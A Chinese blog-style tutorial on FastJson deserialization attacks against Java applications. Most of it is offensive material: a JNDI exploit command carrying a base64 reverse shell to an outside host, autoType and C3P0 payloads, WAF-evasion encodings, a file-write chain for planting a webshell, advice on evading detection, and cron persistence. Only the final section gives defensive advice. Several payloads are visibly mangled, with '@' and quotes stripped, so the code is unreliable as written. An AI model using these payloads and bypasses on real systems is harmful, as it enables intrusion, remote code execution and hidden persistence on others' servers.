Java组件安全实战:FastJson漏洞利用与WAF绕过技巧
1. FastJson漏洞基础与实战环境搭建FastJson作为阿里巴巴开源的Java JSON处理库因其高性能特点被广泛应用于各类Java项目中。但正是其强大的功能特性也带来了诸多安全隐患。我们先从最基础的漏洞原理讲起——想象FastJson就像一个过于热情的翻译官当它遇到带有特殊标记的JSON数据时会过度热情地帮我们实例化对象这就给了攻击者可乘之机。我在实际测试中最常用的环境是GitHub上的FastJsonParty项目这个Docker环境囊括了1.2.47到1.2.80等多个存在漏洞的版本。搭建方法非常简单git clone https://github.com/lemono0/FastJsonParty cd FastJsonParty docker-compose up -d这个环境最棒的地方在于它模拟了真实业务场景中的多种防护措施不同版本的FastJson运行实例基础WAF防护规则网络隔离环境不出网场景文件读写权限控制对于初学者我建议先用BurpSuite配合FastjsonScan插件进行基础探测。这个插件会自动识别FastJson版本并生成基础payload就像这样{type:java.net.InetAddress,val:dnslog.cn}2. JNDI注入攻击全流程解析JNDI注入是FastJson最经典的攻击方式原理就像是通过JSON数据让服务器去指定的电话簿JNDI服务查找并执行危险操作。我们先看一个基础攻击案例攻击准备阶段需要启动恶意JNDI服务我常用JNDI-Injection-Exploit工具java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \ -C bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMS85OTk5IDAJjE}|{base64,-d}|{bash,-i} \ -A 192.168.1.1攻击payload示例针对1.2.47版本{ a:{ type:java.lang.Class, val:com.sun.rowset.JdbcRowSetImpl }, b:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:ldap://攻击者IP:1389/恶意类, autoCommit:true } }但随着Java高版本≥8u191的限制传统JNDI注入方式会失效。这时就需要用到我在实战中总结的绕过技巧本地ClassPath利用寻找目标环境中已存在的危险类EL表达式注入适用于Tomcat等容器环境C3P0二次反序列化后面会详细讲解3. 高版本JDK环境下的绕过技巧当遇到Java高版本环境时很多同学可能会束手无策。其实通过C3P0连接池链我们可以实现不出网利用。这就像是在封闭的房间里找到了一把备用钥匙。C3P0利用链核心原理利用FastJson反序列化触发C3P0的JNDI配置通过HexAsciiSerializedMap加载恶意序列化数据最终实现RCE而不需要外连具体payload构造示例{ a:{ type:java.lang.Class, val:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource }, b:{ type:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource, userOverridesAsString:HexAsciiSerializedMap:aced...恶意序列化数据 } }我在实际项目中遇到过几个常见问题目标环境没有C3P0依赖可以尝试其他链如ibatis序列化数据太大使用压缩或分段传输防护软件拦截接下来我们就讲WAF绕过技巧4. WAF绕过的高级编码技巧现代WAF就像严格的安检门但总有方法可以伪装通过。FastJson自带的编码特性就是我们最好的武器。常用编码绕过方式Unicode编码将关键字段转换为\u形式{ \u0061: { \u0040\u0074\u0079\u0070\u0065: com.sun.rowset.JdbcRowSetImpl } }Hex编码对特定字符进行十六进制转换特殊字符插入在关键字中添加_或等字符{ a:{ type:java.lang.AutoCloseable, us_erOverridesAsString:恶意数据 } }实战技巧组合拳先用简单payload探测WAF规则混合使用多种编码方式关键参数名拆分如dataSourceName拆分为dataSourceName添加无害注释混淆FastJson支持//和/**/注释记得去年在某次授权测试中目标的WAF规则非常严格。最终我是通过Unicode编码注释参数拆分的组合拳成功绕过的payload长得像天书一样但效果出奇地好。5. 文件写入与后续利用当常规RCE受阻时文件写入就成了突破口。FastJson 1.2.68版本的文件写入链特别实用就像是在服务器上开了一个后门。典型利用步骤探测web目录通过报错信息或静态资源路径构造恶意JSON写入JSP文件{ type:java.lang.AutoCloseable, type:org.springframework.web.servlet.view.freemarker.FreeMarkerConfigurer, templateLoaderPath:file:///tmp, freemarkerSettings:{ auto_import:/恶意模板.ftl } }访问写入的webshell获取控制权提高成功率的小技巧多目录尝试/upload、/static、/tmp等文件名随机化避免被检测内容加密绕过内容安全检测配合日志文件查看写入结果有次在测试中遇到特别严格的权限控制最终是通过写入计划任务实现的持久化。这提醒我们当一条路走不通时要灵活转换思路。6. 防御方案与安全建议作为负责任的安服人员我们不仅要会攻击更要懂防御。以下是给开发同学的安全建议代码层防护使用最新安全版本≥1.2.83配置SafeMode禁用autoTypeParserConfig.getGlobalInstance().setSafeMode(true);严格过滤type等关键字段架构层防护WAF规则要定期更新特别关注编码变种网络隔离关键业务系统Java运行环境升级到最新版运维监控日志监控异常JSON请求部署RASP进行运行时防护定期组件安全扫描记得帮某金融客户做加固时我们发现虽然升级了FastJson版本但老接口仍然使用低版本解析。这种新旧版本共存的情况特别危险需要全面梳理才能彻底解决。在安全这条路上攻防永远是对立统一的。只有深入理解攻击手法才能构建真正有效的防御体系。每次测试遇到的挑战都是提升技术的最佳机会。保持好奇心持续学习才是安全工程师的核心竞争力。